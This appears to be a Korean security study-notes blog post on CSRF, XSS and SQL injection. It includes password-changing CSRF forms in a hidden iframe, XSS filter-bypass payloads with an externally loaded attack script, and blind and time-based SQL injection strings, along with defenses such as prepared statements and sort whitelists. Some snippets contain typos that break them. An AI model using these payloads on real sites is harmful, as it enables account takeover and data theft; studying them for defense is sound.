팥들었슈

사이트 간 요청 위조(또는 크로스 사이트 요청 위조, : Cross-site request forgery, CSRF, XSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. -위키백과-

즉   사용자가 어떠한 요청을 하도록 유도하는 것을 말하며 XSS와는 다른 취약점이다.

XSS는 데이터의 탈취 및 스크립트를 사용한 CSRF를 유도 할 수 있으며 CSRF는 사용자가 특정 행위를 하도록 유도하는 것이다.

간단한 예시로 게시판에서 XSS 취약점이 생긴다면 게시판에 악성 스크립트를 심어두어 접속한 사용자의 비밀번호를 바꾸도록 요청하는 스크립트를 실행하는 것이 있다.

1. XSS를 활용한 CSRF

GET 방식

<script>
var i = new Image();
i.src= '비밀번호 변경url/?pw=1234' 
</script>

POST 방식

<form method="POST" action="passWdUpadte.com" id="myform">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

POST(페이지 이동 막기)

위의 방식대로 하면 POST 요청으로 페이지가 이동된다. 이를 방지하기위해 iframe을 사용

form의 target을 iframe으로 주고 iframe은 display none으로 화면에 표기하지 않는다.

<iframe width="0" height="0" name='myframe' style="display:none">

<form method="POST" action="passWdUpadte.com" id="myform" target="myframe">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

복습

XSS는 악성 스크립트가 실행 될 수 있도록 하는 방법으로 데이터가 DB등 서버에 저장되는 Stored XSS, URL을 기반으로 공격을 하는 Reflected XSS로 구분된다.

Stored XSS는 데이터가 서버에 저장되므로 게시판과 같은 데이터를 저장 할 수 있는 곳에서 발생 시킬 수 있으며 해당 게시글을 읽은 사용자의 브라우저(클라이언트)에서 실행된다.

Reflrected XSS는 URL의 담긴 정보가 HTML에 사용될 때 발생하며 해당 URL을 클릭한 사용자의 브라우저(클라이언트)에서 실행된다.

XSS의 방어의 우회 방법

1. 길이 제한

- Stored XSS가 가능하지만 DB의 컬럼이 길지 않을 때 사용 할 수 있다. (악성스크립트가 길다면)

미리 작성된 js 를 만들어두고 링크로 걸어둔다.

<script src='www.공격소스.js> </script>

2. script 태그를 치환하는경우 

script라는 문자를 치환하여 제거하는 경우 "scrscriptipt" 문자와 같이 사용하여 가운데의 script가 공백으로 바뀌어 앞의 "scr"+"ipt"의 문자가 합쳐지도록 스크립트 태그를 구성(대문자 소문자를 casting 없이 replace할 수 있으므로 "scRipt"와 같은 방법도 사용)

3.Img 태그 사용(혹은 Event Handler 사용)

이미지 태그를 생성하고 잘못된 링크 주소를 전달하고 onerror에 악성 스크립트를 작성(onclick등 다양한 Event Handler를 사용할 수 있다.)

<img src=x onerror="alert(1)">

4.XSS in href

주소창에서 javascript 사용 가능

<a href="javascript:alert(1) > test </a>

5 XSS in javascript

<script>
 // 입력값 123"; alert(1); var b ="1
 	var a = "123"; alert(1); var b ="1"
    
</script>

6. XSS in input

input 태그의 Event Handler

<input type="text" ouseover="alert(1)">
<input type="text" autofocus onfocus="alert(1)">

대응방안

특수문자를 치환하여 저장 및 사용한다.

DOM

웹 페이지는 일종의 문서(document)다. 이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, JavaScript와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다. -mdn web docs-

즉 DOM이란 지정된 양식을 의미하며 브라우저는 DOM의 형식으로 작성된 HTML문서를 읽어 화면으로 구성해주게 된다.

DOM의 접근 방법

I

복습

SQL Injection 시 공란이 제거되어 사용될 수 있는데 이를 해결하기 위한 방법은 여러가지가 존재한다.

Ex1 ) and%0a1=1
Ex) and(1=1)

XSS

사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS[*])은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 

주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다.

-위키백과-

Stored XSS(persistent)

데이터가 서버 혹은 DB에 저장되며 데이터에 Script를 작성하여 응답을 받을 때  Script가 동작하도록 하는 기법이다.

EX) 악성스크립를 작성하여 게시판에 올리게 된다면 이후 해당 게시글을 읽는 사용자의 브라우저에서 악성 스크립트가 실행된다. 

즉 악성스크립트가 서버에 저장되기 때문에 지속적으로 피해가 발생하게 된다.

Relfected XSS

Client가 전달받은 데이터가 화면(HTML 등)에 구성 될 때 사용되는 것은 Stored와 동일하나 게시판의 등록하는 것이 아닌 스크립틀가 포함된 URL을 클릭하는 방식 등으로 사용된다.

GET 방식으로 응답을 받을 시 쿼리스트링의 값에 악성 스크립트를 포함하여 실행하게 된다.

reflected XSS가 가능한 Page에 alert 스크립트를 입력한 뒤 해당 URL로 접속을 하면

스크립트가 실행 되는 것을 확인 할 수 있다.

SQL Injection이 가능한 대상은 parameter를 서버로 요청하고 받는 곳에서 SQL Injection이 일어 날 수 있다.

단순 게시판의 검색, 로그인창과 같은 input 태그의 사용되는 곳 뿐만이 아니다.

CASE 1 쿠키

마이 페이지를 요청하는 request와 response다.

mypage를 요청 할 때 GET Method로 요청을 진행하지만 쿼리 파라미터에 값은 보이지 않지만 cookie에 user라는 항목을 볼 수 있다.

해당 페이지는 cookie에 있는 user 항목으로 mypage를 불러온다고 유추 할 수 있으며 해당 쿼리는 

select 컬럼 from 테이블 where 유저컬럼 = '___쿠키값___' 이라고 유추할 수 있다. 

이를 통해 SQL Injection이 가능한지 확인해보자

3가지 방법으로 테스트를 진행해보자

1. ABCD

2. ABCD' and '1'='1

3. ABCD' and '1'='2

SQL Injection이 가능하다면 1번케이스와 2번케이스는 동일한 값이 나오며 3번 케이스에서는 값이 나오지 않게 될 것이다.

위의 결과로 1,2번의 케이스는 두번 째 항목에 notthing here값이 나왔으나 3번 케이스의 경우 빈 칸이 나왔다.

첫 번째 항목의 경우 값 false임에도 출력이 되는 것을 보아 DB에서 user 값을 가져오는 것이 아닌 Cookie의 값을 그대로 사용 함을 추측해 볼 수 있다.

CASE 2 where 절의 컬럼

게시판의 검색을 작성자, 제목, 내용으로 검색 할 수 있다.

옵션이 title로 념어가는 것을 볼 수 있다.

만약 SQL이 가능 하도록 구성되어 있다면

select {컬럼} from {테이블} where {option_val} like '{board_search}'

의 형식으로 되어 있을 것이다.

option_val에 SQL Injection을 한다면 

where 1=1 and title like '%1%' 형태로 넣어 볼 수 있을 것이다.

case 1: title like '%1%'

 SQL Injection을 시도 하지 않은 결과:

case 2: 1=1 and title like '%1%'

 option_val=1=1 and title: 

case 3: 1=2 and title like '%1%'

option_val=1=2 and title

위와 같이 직접 입력하지 않는 부분이라도 SQL Injection이 가능 한 것을 확인 할 수 있다.

CASE 3 order by

request에 sort가 추가 된 것을 확인 할 수 있다. 

sort를 사용한다는 것으로 order by 구문이 사용됨을 유추 할수 있으며 쿼리는 아래와 같을 수 있다.

select {컬럼} from {테이블} where {option_val} like '{board_search}' order by {sort}

order by에 SQL Injection을 사용해보자

case 1: order by title

case 2: order by (select 1 from dual union select 2 from dual where 1=1)

order by에 select 구문으로 1, 2 두개의 row가 생기기 때문에 문법 오류가 발생하므로 결과가 나오지 않는다.

이를 통해 Blind SQL Inection이 가능하다.

Ex (select 1 from dual union select 2 from dual where length(database()) = 11) -> 확인 결과 db의 길이는 11 이다.(참 조건일 경우 화면에 아무 결과 없음)

case 2: order by (select 1 from dual union select 2 from dual where 1=2)

거짓 조건의 경우 화면에 결과가 출력된다.

결론

SQL Injection은 단순 화면에서 입력가능 한 부분이 아니라 SQL로 전달 되는 모든 파라미터에서 가능 할 수 있다.

SQL Injection의 대처방법

SQL Injection의 대처방법은 매우 간단하다. prepared Statement를 사용하면 된다.

prepared Statement란 SQL 질의문을 미리 컴팡일링하여 캐시에서 사용하도록 하는 방식이다. 

이를통해 SQL 질의문을 전달 받을 때마다 컴파일 할 필요가 없기에 속도 향상에 이점이 있다 

부가적으로 입력받는 parameter를 제외하고 모두 컴파일링을 진행 해두었기 때문에 추가적인 SQL Injection이 들어와도 동작하지 않게된다.

Ex )

select * from user where userName =(컴파일)=> 10101010111010101010 ? =(파라미터 입력)=> 10101010111010101010 '팥들었슈' and '1'='1' 

위는 예시일 뿐이며 정확이 이와 동일하게 동작하지는 않는다.

prepared Statement를 사용할 수 없는 SQL 구문이 있다.

order by 구문이다. 

동적은 order by를 사용하고 SQL Inection을 방지하려면 입력받는 order by 구문을 화이트리스트로 관리하는 것이 적절하다.

if (sortWhiteList.include(request.getSort())) {

 // 입력 받은 sort가 화이트 리스트에 있는 경우 진행

} else {

 // 입력 받은 sort가 화이트 리스트에 없다면 기본값으로 세팅

 request.setSort("기본값");

}

PS. 구문해석하기

case 1: sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

case 2: page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

case1은 request의 sorting에 넣은 값으로 보여지며 +는 url encoding의 space이다. 

sql에 들어가는 구문으로 변경해본다면

select * from user order
by Ad, (case when ascii(substr((select user from dual),1,1))=0 then 1 else (1/0) end)

로 변경되어 SQL에 들어가게 되며 Ad, 뒷부분이 injection이 된다.

'user' 문자열을 1,1로 substr 하였기 때문에 나오는 값은 u 

u를 ascii로 변환하면 117이며 117 = 0 은 false 이기 때문에 1/0이 실행되지만 0으로 값을 나눌 수 없기 때문에 에러가 발생

즉 참이라면 화면의 결과가 나오고 거짓이라면 에러가 발생하기 때문에 화면에 값이 표출 않는다. 즉 blind SQL을 사용하기 위한 구문

case2을 url decode 하면

if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'&startDt=&endDt=&keyword=

sql Injection 되는 부분은 order by A.REG_DT ASC 구문 이후가 될 것이다.

select * from user order
by order by A.REG_DT ASC;
if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'

가 될텐데 

; 이후 if 문이 가능한가???